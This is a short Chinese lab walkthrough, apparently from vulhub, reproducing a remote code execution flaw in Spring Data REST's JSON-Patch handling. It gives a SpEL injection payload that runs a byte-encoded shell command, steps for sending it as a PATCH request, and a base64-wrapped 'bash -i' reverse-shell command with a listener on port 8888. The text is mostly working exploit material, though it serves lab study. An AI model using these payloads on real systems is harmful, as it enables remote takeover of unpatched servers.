1、启动环境
docker-compose up -d
2、访问:http://你的IP:8080/customers/1
3、漏洞复现
3.1进制转换
漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的.
将 touch /tmp/success 进行ASCII-字符 转换
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
3.2.验证漏洞
(1)访问 http://靶场ip:8080/customers/1 进行抓包
(2)转包之后将GET修改为PATCH
(3)添加字段 Content-Type: application/json-patch+json
(4)将制作好的payload添加到最后一行
bash -c {echo,你的编码}|{base64,-d}|{bash,-i}
[~]#棱角 ::Edge.Forum* (ywhack.com)
字符串转换为十进制,二进制和十六进制在线计算器,在线计算,在线计算器,计算器在线计算 (osgeo.cn)
新建txt文件 替换空格
监听 8888
反弹成功